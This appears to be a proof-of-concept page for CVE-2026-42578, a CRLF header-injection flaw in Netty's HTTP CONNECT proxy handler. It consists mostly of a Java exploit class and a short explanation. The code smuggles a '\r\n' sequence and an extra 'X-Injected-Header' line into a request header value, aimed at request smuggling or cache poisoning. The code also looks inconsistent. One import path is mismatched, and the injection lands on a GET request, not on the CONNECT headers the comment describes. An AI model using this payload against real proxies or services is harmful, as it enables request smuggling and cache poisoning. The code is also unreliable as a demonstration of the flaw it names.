CVE-2026-42578 Netty HTTP CONNECT请求头注入漏洞

import io.netty.bootstrap.Bootstrap; import io.netty.channel.*; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioSocketChannel; import io.netty.handler.codec.http.*; import io.netty.handler.codec.http.proxy.HttpProxyHandler; import io.netty.handler.proxy.ProxyHandler; import java.net.InetSocketAddress; public class NettyCRLFPoC { public static void main(String[] args) throws Exception { EventLoopGroup group = new NioEventLoopGroup(); try { Bootstrap b = new Bootstrap(); b.group(group) .channel(NioSocketChannel.class) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { // Configure the proxy handler pointing to a malicious or test proxy ProxyHandler proxyHandler = new HttpProxyHandler(new InetSocketAddress("proxy.example.com", 8080)); ch.pipeline().addLast(proxyHandler); ch.pipeline().addLast(new SimpleChannelInboundHandler<HttpObject>() { @Override protected void channelRead0(ChannelHandlerContext ctx, HttpObject msg) { System.out.println("Received response: " + msg); } }); } }); Channel ch = b.connect("target.example.com", 80).sync().channel(); // Prepare the request with CRLF injection in the header // The vulnerability allows injecting \r\n to split headers String injectedHeader = "test-value\r\nX-Injected-Header: malicious-content\r\n"; HttpRequest request = new DefaultHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/"); request.headers().set(HttpHeaderNames.HOST, "target.example.com"); request.headers().set("User-Agent", "Netty-Client"); // This header value will be passed to outboundHeaders without validation request.headers().set("X-Vulnerable-Header", injectedHeader); ch.writeAndFlush(request); ch.closeFuture().sync(); } finally { group.shutdownGracefully(); } } } /* * Explanation: * This PoC demonstrates how an application using HttpProxyHandler might allow CRLF injection. * When the 'X-Vulnerable-Header' is processed by the vulnerable HttpProxyHandler, * the '\r\n' characters are not sanitized. This results in the CONNECT request sent * to the proxy containing additional headers ('X-Injected-Header'), which violates the * HTTP protocol structure and can lead to request smuggling or cache poisoning. */